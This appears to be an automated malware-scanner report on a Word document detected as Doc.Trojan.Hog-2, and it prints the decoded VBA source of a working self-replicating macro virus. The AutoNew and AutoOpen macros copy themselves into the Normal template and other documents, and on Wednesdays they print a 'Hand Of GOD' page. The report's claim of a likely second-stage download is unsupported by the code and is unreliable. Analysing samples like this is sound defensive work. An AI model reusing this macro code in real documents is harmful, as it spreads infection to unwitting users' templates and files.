MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains a critical ClamAV detection for Doc.Trojan.Hog-2 and fires heuristics for legacy WordBasic and VBA macros, including an AutoOpen macro. The AutoOpen macro attempts to copy itself to the Normal template, active document, and attached template, and conditionally prints a document with the text 'Hand Of GOD' if the current day is Wednesday. This behavior suggests the macro is designed to establish persistence or prepare for further malicious execution, likely by downloading a second-stage payload.
Heuristics 4
-
ClamAV: Doc.Trojan.Hog-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Hog-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1977 bytes |
SHA-256: 49452508b7e54d4092cd7de3345f706ed9ebc3e79f3c33fefde4848eb7a2bd4f |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "AutoNew"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)
Sub main()
ar$(1) = "AutoNew"
ar$(2) = "AutoOpen"
On Error Resume Next
mac$ = MacroContainer.Name
nor$ = NormalTemplate.Path
nor$ = nor$ & "\" & NormalTemplate.Name
doc$ = ActiveDocument.Name
With ActiveDocument.AttachedTemplate
tem$ = .Path
tem$ = tem$ & "\" & .Name
End With
For n% = 1 To 2
Application.OrganizerCopy Source:=mac$, _
Destination:=nor$, Name:=ar$(n%), _
Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=mac$, _
Destination:=ActiveDocument, Name:=ar$(n%), _
Object:=wdOrganizerObjectProjectItems
Application.OrganizerCopy Source:=mac$, _
Destination:=tem$, Name:=ar$(n%), _
Object:=wdOrganizerObjectProjectItems
Next n%
NormalTemplate.Save
End Sub
Attribute VB_Name = "AutoOpen"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)
Sub main()
ar$(1) = "AutoNew"
ar$(2) = "AutoOpen"
On Error Resume Next
If WeekDay(Now()) = vbWednesday Then
With ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range
.Font.Size = 12
.ParagraphFormat.Alignment = wdAlignParagraphCenter
.Text = "Hand Of GOD"
End With
ActiveDocument.PrintOut
End If
cnt = WordBasic.countmacros(0)
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.